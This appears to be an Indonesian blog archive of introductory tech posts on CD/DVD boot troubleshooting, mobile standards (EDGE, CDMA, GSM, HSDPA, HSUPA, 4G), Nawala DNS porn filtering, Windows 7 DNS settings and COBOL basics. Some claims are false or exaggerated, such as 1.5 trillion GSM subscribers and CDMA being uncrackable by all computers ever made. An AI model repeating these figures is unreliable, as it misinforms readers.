  6.     Jika sampai pada point no.5 diatas Anda tidak melakukan apa pun, komputer Anda akan memeriksa untuk informasi boot pada perangkat boot berikutnya dalam daftar di BIOS dan biasanya komputer akan mencari hard disk untuk boot. Ada juga beberapa CD dan DVD bootable mengabaikan permintaan pada no.5 dan akan segera mulai instalasi.
  7.     Setelah langkah no.5 di atas, komputer Anda sekarang akan boot dari CD atau DVD disk.
 
Jika sudah Anda mencoba langkah-langkah di atas tetapi komputer Anda tidak bisa boot dari CD atau DVD dengan benar, maka cermati dengan baik beberapa tips di bawah ini :
  1.     Periksa kembali urutan boot di BIOS (Langkah 2 diatas). Saya telah menemukan bahwa nomor satu alasan bootable disk tidak akan boot adalah karena BIOS tidak dikonfigurasi untuk memeriksa CD / DVD drive pertama. Biasa juga sudah dikonfigurasi tetapi tidak disimpan (save).
  2.     Apakah Anda memiliki lebih dari satu CD atau DVD drive? Coba masukkan CD atau DVD bootable pada drive CD lain dan restart komputer Anda. Ini untuk menjaga kemungkinan bahwa CD atau DVD drive yang satu pembacaannya sudah tidak valid lagi karena sudah berumur tua.
  3.     Bersihkan CD atau DVD boot. Jika disk sudah tua, biasanya akan kotor/berdebu sehingga susah dibaca isinya.
  4.     Jika boot sudah berjalan normal maka silakan lanjutkan proses instalasi dan nantinya akan ada 2 pilihan untuk Anda yaitu clean instalasi (instalasi total) dan repair windows.
 

Enhanced Data rates for GSM Evolution ( EDGE )

     Enhanced Data rates for GSM Evolution (EDGE) adalah radio berbasis global yang memiliki kecepatan data mobile tinggi yang dapat diperkenalkan ke GSM / GPRS dan IS-136 (modus untuk paket jaringan digital canggih ponsel sistem (D-AMPS)). EDGE memungkinkan transmisi data berkecepatan hingga 384 Kbps dalam paket switched mode dan mendukung layanan multimedia. Hal ini dapat dicapai dalam Bandwith GSM yang sama mulai dari 800, 900, 1800 , dan 1900 MHz band. Ide dibalik EDGE untuk meningkatkan rate data yang dapat dicapai dengan operator 200-kHz radio GSM dengan mengubah jenis modulasi digunakan saat masih bekerja dengan GSM yang ada dan node jaringan GPRS. Para modulasi baru yang diperkenalkan adalah (8-PSK).

     EDGE dianggap di Eropa sebagai generasi 2,5 (2.5G) standar yang dipandang sebagai transisi dari 2G ke 3G (generasi kedua dan ketiga generasi jaringan mobile). Tidak ada lisensi operator baru yang diperlukan untuk EDGE. Karena fitur ini menggunakan kembali spektrum yang ada, itu merupakan suatu lowcost solusi untuk operator yang ingin memberikan layanan multimedia pada jaringan GSM / GPRS. Namun, di beberapa negara seperti Amerika Serikat, untuk operator yang tidak memiliki izin Universal Mobile Telecommunications System (UMTS), EDGE dapat menyediakan layanan multimedia yang akan dibawa oleh jaringan 3G dan yang tidak dapat didukung oleh GPRS sistem. Itulah mengapa EDGE juga dapat dilihat sebagai standar 3G.

     Karena EDGE dapat dianggap sebagai solusi biaya rendah, hal itu juga dapat digunakan menjadi multi-Slot ponsel yang mendukung ECSD pada empat slot waktu yang dapat mencapai sampai 172,8 Kbps. Untuk ECSD menggunakan link dinamis untuk beradaptasi dengan kondisi jaringan di bawah mobile yang beroperasi. Evolusi menuju EDGE-GPRS disebut EGPRS. Kadang-kadang
juga disebut klasik EDGE. EGPRS didasarkan pada arsitektur jaringan yang sama
seperti GPRS. Hal ini memungkinkan jaringan sampai dengan 475 Kbps untuk penerima yang mendukung Rx pada delapan slot waktu. Interface yang paling terkena dampak adalah jaringan antarmuka, karena pengenalan dari modulasi radio baru.



     Standardisasi EDGE memungkinkan operator dan produsen AS untuk memiliki global standar solusi untuk packet-switched jaringan. US operator sudah mengoperasikan D-AMPS yang bertujuan ingin memperkenalkan jasa 2.5G (atau 3G) kepada jaringan mereka. Namun, operator ini ingin memperkenalkan EDGE layanan dalam band frekuensi yang sama sebagai D-AMPS-800-MHz band, tapi band ini, dibagi menjadi 30-kHz operator jaringan yang sudah digunakan untuk layanan bicara. Pengenalan EDGE memerlukan pelepasan beberapa 30-kHz operator untuk menyediakan 200-kHz pembawa untuk mengoperasikan EDGE. Operator ini dialokasikan untuk EDGE sekali tidak dapat digunakan untuk layanan bicara (ini tidak terjadi untuk GSM / EDGE). Hal ini dimungkinkan untuk melepaskan hanya sebagian kecil dari spektrum 800-MHz untuk layanan EDGE agar tidak merusak kapasitas pidato jaringan. Jadi diputuskan untuk standarisasi versi spektrum efisien EGPRS. Ini akan mendukung 384-Kbps dicanangkan tarif paket data tetapi akan memerlukan kliring spektral hanya sedikit dan karena itu bisa bekerja untuk operator jaringan dengan alokasi spektrum terbatas. Konsep ini disebut Compact EDGE. Jadi Compact EDGE adalah adaptasi EGPRS yang memperkenalkan fitur-fitur khusus untuk beroperasi di jaringan spektrum-terbatas. EDGE Compact adalah terbatas pada packet-switched mode, itu tidak menyangkut modus circuit-switched.

     Namun, tampaknya bahwa perusahaan wireless terbesar di Negara Amerika, di mana Compact EDGE seharusnya digunakan untuk memutuskan jaringan D-AMPS mereka dan menggantinya dengan GSM / GPRS / EDGE oleh operator yang sudah memiliki jaringan GPRS dan UMTS lisensi untuk menyediakan layanan 3G di daerah di mana cakupan UMTS tidak akan mengeluarkan biaya-efektif.

Code Division Multiple Access (CDMA)

     Code division multiple access (CDMA) adalah sebuah bentuk pemultipleksan (bukan sebuah skema pemodulasian) dan sebuah metode akses secara bersama yang membagi kanal tidak berdasarkan waktu (seperti pada TDMA) atau frekuensi (seperti pada FDMA), namun dengan cara mengkodekan data dengan sebuah kode khusus yang diasosiasikan dengan tiap kanal yang ada dan menggunakan sifat-sifat interferensi konstruktif dari kode-kode khusus itu untuk melakukan pemultipleksan.
     Dalam perkembangan teknologi telekomunikasi telepon selular terutama yang berkaitan dengan generasi ke-tiga (3G), CDMA menjadi teknologi pilihan masa depan. CDMA juga mengacu pada sistem telepon seluler digital yang menggunakan skema akses secara bersama ini,seperti yang diprakarsai oleh Qualcomm.
     CDMA adalah sebuah teknologi militer yang digunakan pertama kali pada Perang Dunia II oleh sekutu Inggris untuk menggagalkan usaha Jerman mengganggu transmisi mereka. Sekutu memutuskan untuk mentransmisikan tidak hanya pada satu frekuensi, namun pada beberapa frekuensi, menyulitkan Jerman untuk menangkap sinyal yang lengkap.
     Sejak itu CDMA digunakan dalam banyak sistem komunikasi, termasuk pada Global Positioning System (GPS) dan pada sistem satelit OmniTRACS untuk logistik transportasi. Sistem terakhir didesain dan dibangun oleh Qualcomm, dan menjadi cikal bakal yang membantu insinyur-insinyur Qualcomm untuk menemukan Soft Handoff dan kendali tenaga cepat, teknologi yang diperlukan untuk menjadikan CDMA praktis dan efisien untuk komunikasi seluler terrestrial.
     Dalam CDMA, sinyal suara pertama adalah digital & data resultan menyebar di seluruh bandwidth. CDMA adalah sebuah bentuk spread spectrum, yang berarti bahwa data yang dikirim dalam potongan-potongan kecil selama beberapa frekwensi diskrit yang tersedia untuk penggunaan di setiap saay dalam kisatan tertentu. CDMA beroperasi baik dalam 800 MHz dan pita frekwensi 1900 MHz

Fitur CDMA
  •     Sinyal pesan pita sempit ( narrowband ) akan digandakan dengan penyebaran sinyal pita lebar ( wideband ) atau pseudonoise code
  •     Setiap user mempunyai pseudonoise (PN) code sendiri sendiri.
  •     Soft capacity limit: performansi sistem akan berubah untuk semua pengguna begitu nomer pengguna meningkat.
  •     Near-far problem (masalah dekat-jauh)
  •     Interference terbatas:kontrol daya sangat diperlukan
  •     lebar bandwidth menimbulkan keaneka ragaman,sehingga meggunakan rake receiver
  •     Akan membutuhkan semua komputer yang pernah dibuat oleh manusia diatas bumi untuk memecahkan kode dari satu setengah percakapan dalam sistem CDMA!
Keuntungan 
     Teknologi CDMA sendiri memiliki berbagai keuntungan jika diaplikasikan dalam sistem seluler. Keuntungan-keuntungan tersebut antara lain :
  •     Hanya membutuhkan satu frekuensi yang dibutuhkan untuk beberapa sektor/cell
  •     Tidak membutuhkan equalizer untuk mengatasi gangguan spektrum sinyal
  •     dapat bergabung dengan metode akses lainnya, tidak membutuhkan penghitung waktu (guard time) untuk melihat rentang waktu dan penjaga pita (guard band) untuk menjaga intervensi antarkanal
  •     Tidak membutuhkan alokasi dan pengelolaan frekuensi
  •     Memiliki kapasitas yang halus untuk membatasi para pengguna akses
  •     Memiliki proteksi dari proses penyadapan
Kekurangan 
  • Tidak ada ketersediaan berbagai handset di CDMA seperti pada GSM


Kamis, 17 Januari 2013

Global System for Mobile Communication (GSM)

     Global System for Mobile Communication (GSM) adalah sebuah teknologi komunikasi selular yang bersifat digital. Teknologi GSM banyak diterapkan pada komunikasi bergerak, khususnya telepon genggam. Teknologi ini memanfaatkan gelombang mikro dan pengiriman sinyal yang dibagi berdasarkan waktu, sehingga sinyal informasi yang dikirim akan sampai pada tujuan. GSM dijadikan standar global untuk komunikasi selular sekaligus sebagai teknologi selular yang paling banyak digunakan orang di seluruh dunia.

Sejarah dan perkembangan
     Teknologi komunikasi selular sebenarnya sudah berkembang dan banyak digunakan pada awal tahun 1980-an, diantaranya sistem C-NET yang dikembangkan di Jerman dan Portugal oleh Siemens, sistem RC-2000 yang dikembangkan di Perancis, sistem NMT yang dikembangkan di Belanda dan Skandinavia oleh Ericsson, serta sistem TACS yang beroperasi di Inggris. Namun teknologinya yang masih analog membuat sistem yang digunakan bersifat regional sehingga sistem antara negara satu dengan yang lain tidak saling kompatibel dan menyebabkan mobilitas pengguna terbatas pada suatu area sistem teknologi tertentu saja (tidak bisa melakukan roaming antar negara).

     Teknologi analog yang berkembang, semakin tidak sesuai dengan perkembangan masyarakat Eropa yang semakin dinamis, maka untuk mengatasi keterbatasannya, negara-negara Eropa membentuk sebuah organisasi pada tahun 1982 yang bertujuan untuk menentukan standar-standar komunikasi selular yang dapat digunakan di semua negara Eropa. Organisasi ini dinamakan Group Special Mobile (GSM). Organisasi ini memelopori munculnya teknologi digital selular yang kemudian dikenal dengan nama Global System for Mobile Communication atau GSM.

     GSM muncul pada pertengahan 1991 dan akhirnya dijadikan standar telekomunikasi selular untuk seluruh Eropa oleh ETSI (European Telecomunication Standard Institute). Pengoperasian GSM secara komersil baru dapat dimulai pada awal kuartal terakhir 1992 karena GSM merupakan teknologi yang kompleks dan butuh pengkajian yang mendalam untuk bisa dijadikan standar. Pada September 1992, standar type approval untuk handphone disepakati dengan mempertimbangkan dan memasukkan puluhan item pengujian dalam memproduksi GSM.
 
     Pada awal pengoperasiannya, GSM telah mengantisipasi perkembangan jumlah penggunanya yang sangat pesat dan arah pelayanan per area yang tinggi, sehingga arah perkembangan teknologi GSM adalah DCS (Digital Cellular System) pada alokasi frekuensi 1800 Mhz. Dengan frekuensi tersebut, akan dicapai kapasitas pelanggan yang semakin besar per satuan sel. Selain itu, dengan luas sel yang semakin kecil akan dapat menurunkan kekuatan daya pancar handphone, sehingga bahaya radiasi yang timbul terhadap organ kepala akan dapat di kurangi. Pemakaian GSM kemudian meluas ke Asia dan Amerika, termasuk Indonesia. Indonesia awalnya menggunakan sistem telepon selular analog yang bernama AMPS (Advances Mobile Phone System) dan NMT (Nordic Mobile Telephone). Namun dengan hadir dan dijadikannnya standar sistem komunikasi selular membuat sistem analog perlahan menghilang, tidak hanya di Indonesia, tapi juga di Eropa. Pengguna GSM pun semakin lama semakin bertambah. Pada akhir tahun 2005, pelanggan GSM di dunia telah mencapai 1,5 triliun pelanggan. Akhirnya GSM tumbuh dan berkembang sebagai sistem telekomunikasi seluler yang paling banyak digunakan di seluruh dunia.

Secara umum, network element dalam arsitektur jaringan GSM dapat dibagi menjadi :
  1.     Mobile Station (MS)
  2.     Base Station Sub-system (BSS)
  3.     Network Sub-system (NSS),
  4.     Operation and Support System (OSS)

Spesifikasi teknis
     Di Eropa, pada awalnya GSM didesain untuk beroperasi pada frekuensi 900 Mhz. Pada frekuensi ini, frekuensi uplinks-nya digunakan frekuensi 890–915 MHz , sedangkan frekuensi downlinksnya menggunakan frekuensi 935–960 MHz. Bandwith yang digunakan adalah 25 Mhz (915–890 = 960–935 = 25 Mhz), dan lebar kanal sebesar 200 Khz. Dari keduanya, maka didapatkan 125 kanal, dimana 124 kanal digunakan untuk suara dan satu kanal untuk sinyal. Pada perkembangannya, jumlah kanal 124 semakin tidak mencukupi dalam pemenuhan kebutuhan yang disebabkan pesatnya pertambahan jumlah pengguna. Untuk memenuhi kebutuhan kanal yang lebih banyak, maka regulator GSM di Eropa mencoba menggunakan tambahan frekuensi untuk GSM pada band frekuensi di range 1800 Mhz dengan frekuensi 1710-1785 Mhz sebagai frekuensi uplinks dan frekuensi 1805-1880 Mhz sebagai frekuensi downlinks. GSM dengan frekuensinya yang baru ini kemudian dikenal dengan sebutan GSM 1800, yang menyediakan bandwidth sebesar 75 Mhz (1880-1805 = 1785–1710 = 75 Mhz). Dengan lebar kanal yang tetap sama yaitu 200 Khz sama, pada saat GSM pada frekuensi 900 Mhz, maka pada GSM 1800 ini akan tersedia sebanyak 375 kanal. Di Eropa, standar-standar GSM kemudian juga digunakan untuk komunikasi railway, yang kemudian dikenal dengan nama GSM-R.

High-Speed Uplink Packet Access (HSUPA)

     High-Speed Uplink Packet Access (HSUPA) adalah protokol telepon genggam 3G dalam keluarga HSPA dengan kecepatan unggah/"uplink" hingga 5.76 Mbit/s. Nama HSUPA diciptakan oleh Nokia. 3GPP tidak mensupport istilah 'HSUPA', sebagai gantinya digunakan istilah Enhanced Uplink (EUL).

  Mirip-mirip dengan HSDPA, HSUPA menggunakan packet scheduler, tapi beroperasinya berdasarkan prinsip request-grant dimana UEs meminta izin untuk mengirim data dan scheduler (penjadwal) memutuskan kapan dan seberapa banyak UE yang diperbolehkan mengirimkan data. Permintaan untuk mentransmit data berisikan status dari buffer transmisi dan antrian di UE, juga ketersediaan margin dayanya. Bagaimanapun, tidak seperti HSDPA, transmisi uplink tidak ortogonal satu dengan yang lainnya.
     Pada "Layer" 1, HSUPA memperkenalkan kanal fisik baru E-AGCH (Access Grant Channel), E-DCH Relative Grant Channel, F-DPCH (Fractional-DPCH), E-HICH (E-DCH Hybrid ARQ Indicator Channel), E-DPCCH (E-DCH Dedicated Physical Control Channel) dan E-DPDCH (E-DCH Dedicated Physical Data Channel).

     E-DPDCH digunakan untuk membawah E-DCH "Transport Channel"; dan E-DPCCH digunakan untuk membawa informasi kontrol yang diasosiasikan dengan E-DCH.

     Setelah HSUPA, 3GPP bekerja pada laju transfer yang lebih jauh. LTE menyediakan hingga 326.4 Mbit/s untuk unduh/"download" dan 86.4 Mbit/s untuk unggah. LTE-Advanced, masih dalam pengembangan sebagai "minor update" untuk jaringan LTE, mendukung hingga rata-rata unduh maksimum 1 Gbit/s.

High-Speed Downlink Packet Access (HSDPA)

    High-Speed Downlink Packet Access (HSDPA) adalah sebuah jaringan yang diperuntukkan bagi telepon seluler yang populer dengan nama teknologi 3,5G. Teknologi ini menyediakan kemampuan mengunduh yang cepat dan merupakan sambungan dari asynchronous digital subcriber line (ADSL) yang digunakan pada sambungan layanan internet untuk daerah perumahan dan mencegah melambatnya koneksi pada telepon seluler.

     HSDPA memiliki dua fase, fase pertama berkapasitas 4,1 Mbps dan kemudian menyusul fase 2 berkapasitas 11 Mbps dan kapasitas maksimal downlink peak data rate hingga mencapai 14 Mbps. Teknologi ini dikembangkan dari WCDMA sama seperti EV-DO mengembangkan CDMA2000. HSDPA memberikan jalur evolusi untuk jaringan Universal Mobile Telecommunications System (UMTS) yang memungkinkan untuk penggunaan kapasitas data yang lebih besar yaitu mencapai 14,4 Mbps untuk download data dan 2Mbps untuk upload data. Kecepatan terakhir yang dirilis oleh teknologi ini adalah HSPDA+, dengan kecepatan download mencapai 42 Mbps dan 84 Mbps dalam Rilis ke 9 dari standar 3GPP.

     Untuk HSDPA, layanan akses internet yang masih baru, High-Speed Downlink Shared Channel (HS-DSCH), telah ditambahkan ke W-CDMA rilis 5 dan spesifikasi lebih lanjut. Hal ini dilakukan dengan memperkenalkan tiga baru lapisan fisik saluran: HS-SCCH, HS-DPCCH dan HS-PDSCH. High Speed-Shared Control Channel (HS-SCCH) menginformasikan pengguna bahwa data akan dikirimkan pada 2 slot HS-DSCH depan. High Speed Uplink-Dedicated Physical Control Channel (HS-DPCCH) membawa informasi pengakuan dan saluran Indikator kualitas saat ini (CQI) dari pengguna. Nilai ini kemudian digunakan oleh base station untuk menghitung berapa banyak data untuk mengirim ke perangkat pengguna pada transmisi berikutnya. High Speed Downlink Shared Channel-Fisik (HS-PDSCH) adalah saluran dipetakan ke saluran transportasi HS-DSCH di atas yang membawa data pengguna yang sebenarnya.

Keamanan 
     Autentikasi user atau pengguna dari teknologi HSDPA ini dilakukan dari SIM card (atau RUIM). Data dari user akan dikodekan secara berbeda menurut standar CDMA, dan bekerja jauh lebih baik daripada algoritma kriptografi. Keamanan dari teknologi ini akan jebol apabila ada penyusup yang masuk ke base station atau suatu ketika penyusup tersebut mendapatkan kode channel yang hanya dapat diperoleh dari agen khusus( 6432). Dengan kata lain, keamanan akan kepemilikan akses ini cukup terjamin.

Kekurangan
  •     Kecepatan maksimum 14,4 Mbps dalam jarak kurang dari 1 km dari base station. Apabila sudah mencapai jarak lebih dari sama dengan 6 km, aliran data akan menurun kepada kecepatan 1 Mbps.
  •     Harga yang cukup mahal bila dibandingkan dengan jaringan seperti WiMAX.
Kecepatan unduh data
  •     Di lingkungan perumahan teknologi ini dapat melakukan unduh data hingga berkecepatan 3,7 Mbps.
  •     Dalam keadaan bergerak seseorang yang sedang berkendaraan di jalan tol berkecepatan 100 km/jam dapat mengakses internet berkecepatan 1,2 Mbps.
  •     Di lingkungan perkantoran yang padat pengguna dapat menikmati streaming video dengan perkiraan kecepatan 300 Kbps.






Jaringan 4G

     Jaringan 4G adalah generasi keempat dari jaringan nirkabel untuk komunikasi mobile (jarak jauh). Tujuan keseluruhan untuk jaringan 4G ini adalah untuk menyediakan solusi jaringan komunikasi yang komprehensif dan aman dengan kecepatan data yang jauh lebih cepat daripada generasi sebelumnya. Sementara masih dalam pengembangan, fondasi untuk upgrade layanan dari 3G ke 4G akan dimulai pada awal abad ke-21. Perusahaan yang mulai memperkenalkan teknologi baru adalah WiMax dan Long Term Evolution (LTE) disebut-sebut sebagai pengembang 4G.

 
Spesifikasi 4G 
     Yang spesifik dari jaringan 4G diarahkan untuk layanan berkualitas tinggi dan kecepatan transfer data. Prioritas standar 4G ini termasuk penerimaan download dan upload yang cepat dan berkualitas tinggi serta pertukaran informasi yang lebih cepat. International Telecommunication Union (ITU) adalah organisasi yang mengawasi standar untuk jaringan nirkabel, telah menyatakan bahwa perbaikan substansial untuk layanan pesan multimedia, termasuk layanan video.

     4G membutuhkan kecepatan transfer data rate minimal 100 megabit per detik untuk pengguna yang bergerak pada kecepatan tinggi, misalnya berada di kereta api, dan gigabit per satu data rate kedua dalam posisi tetap. ITU juga membutuhkan transfer cepat antara jaringan tanpa gangguan layanan atau kehilangan sinyal. Telepon pada jaringan 4G juga perlu menggunakan Internet Protocol (IP) teknologi untuk transfer data melalui paket, bukan metode telepon tradisional.

Kemajuan Menuju 4G
     Berbagai kelompok kerja telah dibentuk untuk membantu mengembangkan jaringan 4G. Perkembangan awal terhadap teknologi ini termasuk WiMax, yang merupakan versi lebih cepat transfer data nirkabel dari jaringan WiFi ®. LTE dan teknologi lain yang meningkatkan pada sistem 3G yang lebih lama, tetapi standar ini tidak cukup untuk memenuhi persyaratan ITU untuk kecepatan data.

Upgrade Dari 3G ke 4G

     Pelaksanaan keseluruhan jaringan 3G di seluruh dunia memakan waktu hampir satu dekade. ITU berencana untuk memiliki jaringan 4G dan akan diluncurkan ke pasar global dengan cara yang jauh lebih efektif dan tepat waktu. Perangkat tambahan yang dibuat antara 2G dan 3G merupakan perbaikan substansial yang dibutuhkan dalam hardware untuk perangkat mobile, sementara perusahaan mengembangkan ponsel pintar banyak digunakan pada jaringan 3G untuk kompatibilitas dengan standar 4G yang baru. Namun, kekhawatiran atas stabilitas dan keamanan telah memperlambat pengembangan 4G itu sendiri, sebagai penyedia layanan ingin memastikan bahwa informasi pelanggan ponsel pintar harus tetap terlindungi.

Cara Memblokir Situs Porno Pada Komputer/Laptop

     Situs porno adalah salah satu situs yang banyak di singgahi oleh para pengguna Internet. Hingga saat ini terdapat banyak sekali situs porno di Internet yang dapat diakses dengan mudah dan bebas oleh semua orang bahkan oleh anak dibawah umur. Mereka yang dapat mengakses Internet dapat dengan mudahnya mendapatkan konten-konter pornografi dari Internet, tentunya sebagai orang tua kita atau guru di sekolah akan sangat khawatir dengan hal tersebut.

     Lalu apakah yang harus kita lakukan untuk menghindarkan anak-anak kita dari bahaya situs porno yang dapat merusak moral mereka? Salah satu cara untuk menghindari dan mencegah Anak kita saat online mengunjungi situs porno adalah dengan memblokir situs porno tersebut. Bagaiaman cara memblokir situs porno? Nawala Project adalah situs atau organisasi yang bergerak dalam bidang pencegahan pengaksesan situs porno. Dengan memasang DNS Nawala project pada komputer kita maka situs porno yang sudah masuk daftar blacklist Nawala Project akan langsung terblokir saat mencoba diakses. Untuk itu, apabila kita menemukan situs porno yang masih dapat diakses dengan mudah, silahkan bantu Nawala Project dengan cara memberikan informasi seputar situs tersebut kepada mereka.
     Selain itu, Nawala Nusantara akan membantu menapis jenis situs-situs negatif yang tidak sesuai dengan peraturan perundangan, nilai dan norma sosial, adat istiadat dan kesusilaan bangsa Indonesia seperti pornografi dan perjudian. Selain itu, Nawala Nusantara juga akan menapis situs Internet yang mengandung konten berbahaya seperti malware, situs phising (penyesatan) dan sejenisnya. Begitulah kutipan yang saya ambil dari website Nawala Project. Lalu bagaimana cara memasukan DNS Nawala Project untuk digunakan dikomputer bapak/ibu sekalian sehingga bisa mengamankan anak-anaknya dari konten-konten negatif? mari kita simak cara menggunakan DNS Nawala Project di komputer bapak/ibu.
 IP DNS Nawala Project adalah : 
Preferred DNS Server : 180.131.144.144 
Alternate DNS Server : 180.131.145.145
     Cara memasukan Preferred DNS Server dan Alternate DNS Server adalah sebagai berikut : Pertama masuk ke ==> Star – Control Panel – Network Connections – Pilih Jaringan yang digunakan untuk terhubung ke Internet Kedua, klik kanan pada koneksi yang digunakan dan pilih Properties Ketiga, pilih tab Networking selanjutnya sorot pada Internet Protocol (TCP/IP) lalu klik Properties Keempat, klik pada Use the following DNS server addresses lalu isikan preferred dan alternate DNS server pada kolom yang disediakan dan terakhir klik Ok. 
     Bagaimana, apakah kita bisa menjalankan langkah-langkah diatas sampai selesai dan berurutan. Jika Ya maka DNS Nawala Project sudah terpasang dengan baik di Komputer ataupun Laptop kita dan Insyaalah DNS Nawala dapat menyaring konten-konten negatif dengan baik dan Komputer bisa diakses dengan aman.

Cara Mengganti IP Address dan DNS server pada Windows 7


Berikut ini cara mengganti DNS server pada Windows 7 :
  • Pertama masuk ke Control Panel dengan klik Start kemudian pilih Control Panel.
  • Lanjutkan dengan klik Network and Internet.
  • Setelah itu, klik Network and Sharing Center.
  • Lanjutkan dengan klik Change adapter settings.
  • Pilih jenis koneksi yang anda gunakan. Bagi pemula, mungkin ini yang agak sulit menetukannya karena biasanya pada setiap notebook, komputer maupun netbook ada lebih dari satu koneksi yang digunakan. Jika menggunakan modem, biasanya tertulis tipe modem yang digunakan seperti EVDO, HSPA, ADSL dan lain sebagainya. Jika menggunakan WiFi, di situ akan tertulis Wireless Network Connections dan jika menggunakan kabel LAN di situ akan tertulis Local Area Connections.
  • Klik kanan pada media koneksi yang anda lakukan kemudian pilih Properties (Pada contoh kami menggunakan koneksi WiFi).
  • Di situ ada beberapa pilihan mulai dari Client for Microsoft Networks sampai dengan Link Layer Topology Discovery responder.
  • Pilih Internet Protocol Version 4 (TCP/IPv4) dan jangan pilih yang TCP/IPv6 karena di Indonesia teknologi ini belum diimplementasikan. Klik sekali dan lanjutkan dengan klik tombol Properties di bawahnya.

  • Di situ anda akan melihat beberapa setting mengenai IP Address dan DNS. Isilah sesuai dengan keinginan anda. Jika ingin menggunakan Google DNS atau OpenDNS, silahkan buka halaman yang sudah kami sebutkan di awal dan isikan pada situ.
  • Terakhir, klik OK dua kali.

Sekarang anda sudah berhasil mengganti DNS menggunakan OpenDNS atau Google DNS. Selain untuk keperluan mengganti DNS dengan Google DNS atau OpenDNS, trik ini juga bisa digunakan untuk keperluan seperti penggantian IP Address yang crash dengan komputer lain, penggantian tipe IP dari Dynamic ke Static dan lain sebagainya.




Common Business Oriented Language ( COBOL )


     COBOL singkatan dari Common Business Oriented Language. Bahasa ini dikembangkan sekitar tahun 1960 oleh suatu Grup yang bernama CODASYL (COnference on Data SYstem Languange). Hasil pengembangan dari CODASYL ini kemudian dikembangkan oleh ANSI (American National Standard Association). Bahasa COBOL ini ditujukan untuk aplikasi Komputer dibidang bisnis dan administrasi. Bahasa COBOL termasuk bahasa Aras Tinggi (high level language) sehingga COBOL ini dapat digunakan pada berbagai jenis komputer. Pemograman COBOL kebanyakan digunakan untuk komputer Mainframe.

Aturan Penulisan
     Dalam setiap bahasa pemograman terdapat struktur atau aturan-aturan penulisan tertentu misalnya dalam bahasa C yang merupakan bahasa yang case sencitive (huruf besar dan huruf kecil berpengaruh), begitu pula dalam bahasa COBOL yang mempunyai aturan penulisan tertentu adalah, dan aturan penulisan tersebut adalah sebagai berikut :
  •     Program COBOL dapat ditulis sampai dengan kolom 80
  •     Kolom 1-6 adalah kolom yang disediakan untuk memberi nomor urut baris-baris perintah bilamana diperlukan. Penomoran sifatnya optional(boleh ditulis boleh tidak).
  •     Kolom 7 digunakan untuk :Bila kolom ini berisi karakter "-" (hypen) maka berart
  •     
  •     i baris ini adalah  sambungan dari bari diatasnya.
  •     Kolom 8 sampai dengan 72 disebut dengan Area A.  Semua judul division, judul section, nama paagraph, judul file description  (FD), khusus level 01 dan level number 77 ditulis mulai kolom ini.
  •     Kolom 73-80 tidak diproses oleh komputer. kolom ini dapat digunakan untuk komentar atau penjelasan program
  •     Setiap baris perintah COBOL harus diakhiri dengan tanda "."(titik).
 Struktur Program 

Setiap bahasa pemograman mempunyai stuktur program masing-masing begitu pula dengan COBOL. Dalam COBOL struktur programnya dibagi menjadi 4 bagian besar yang disebut dengan Division. Urutan dari division tersebut adalah :
  •         IDENTIFICATION DIVISION.
  •         ENVIRONMENT DIVISION.
  •         DATA DIVISION.
  •         PROCEDURE DIVISION.
Berikut penjelasan darike 4 division tersebut:
  •     IDENTIFICATION DIVISION.
Divisi ini berisi Informasi tentang Program, antara lain nama program, nama pembuat, tanggal dibuat, tanggal kompilasi, tingkat   keamanan program, Informasi ini bersifat Optional yaitu boleh diisi atau   tidak.
  •     ENVIRONMENT DIVISION
Divisi ini dibagi menjadi dua section yaitu CONFIGURATION SECTION dan INPUT-OUTPUT SECTION. Pada bagiab CONFIGURATION SECTION dapat diisi dengan informasi tentang komputer apa saja yang dapat digunakan untuk program.Sedangkan pada INPUT-OUTPUT SECTION menerangkan informasi tentang peralatan-peralatan yang dipergunakan untuk memproses file baik sebagai media peralatan input maupun media peralatan output.
  •     DATA DIVISION
      Divisi ini terdiri dari beberapa section yaitu :
  •     FILE SECTION
FILE SECTION ini berguna untuk menjelaskan masing-masing file yang   dipergunakan didalam    program mengenai.
  •     Nama file
  •     Nama Record dalam file
  •     Ukuran panjang dan tipe dari masing-masing data item.
  •     Jenjang dari data item didalam record.
  •     WORKING STORAGE SECTION

WORKING STORAGE SECTION mempunyai sifat Optional (bisa diikutkan atau tidak ) seksi ini berguna untuk menggambarkan  suatu record dan data lainnya.
  •     SCREEN SECTION
SCREEN SECTION digunakan untuk mendefinisikan bentuk layar tampilan untuk input ataupun untuk tampilan output.
  •     LINGKAGE SECTION
LINGKAGE SECTION  digunakan untuk menerangkan data yang mempunyai hubungan  engan dengan program yang lain. Seksi ini berguna untuk program yang  memanggil program lain.
  •     REPORT SECTION
REPORT SECTION digunakan untuk menggambarkan bentuk dan laporan yang akan dicetak.
  •     PROCEDURE DIVISION.
ROCEDURE DIVISION ini bertugas untuk menunjukan prosedur dari instruksi yang mempunyai akibat secara langsung menghasilkan output yang diminta dari sejumlah input yang ada.

Editor
     Untuk mengetik program anda dapat menggunakan Editor apa saja yang anda sukai, asalkan hasil dari Editor itu sendiri berupa File ASCII murni. Contoh Editor tersebut adalah QEdit, PE, SK (SideKick), atau anda dapat menggunakan WordStar dengan menggunakan Mode Non Document dan lain sebagainya. Tapi sebaiknya anda menggunakan SideKick karena SideKick memiliki kelebihan yaitu TSR (Terminate and Stay Resident). Sehingga memudahkan anda dalam penelurusn kesalahan pada saat kompilasi .

 Proses Kompilasi
     Proses kompilasi merupakan tahap akhir dari pembuatan program.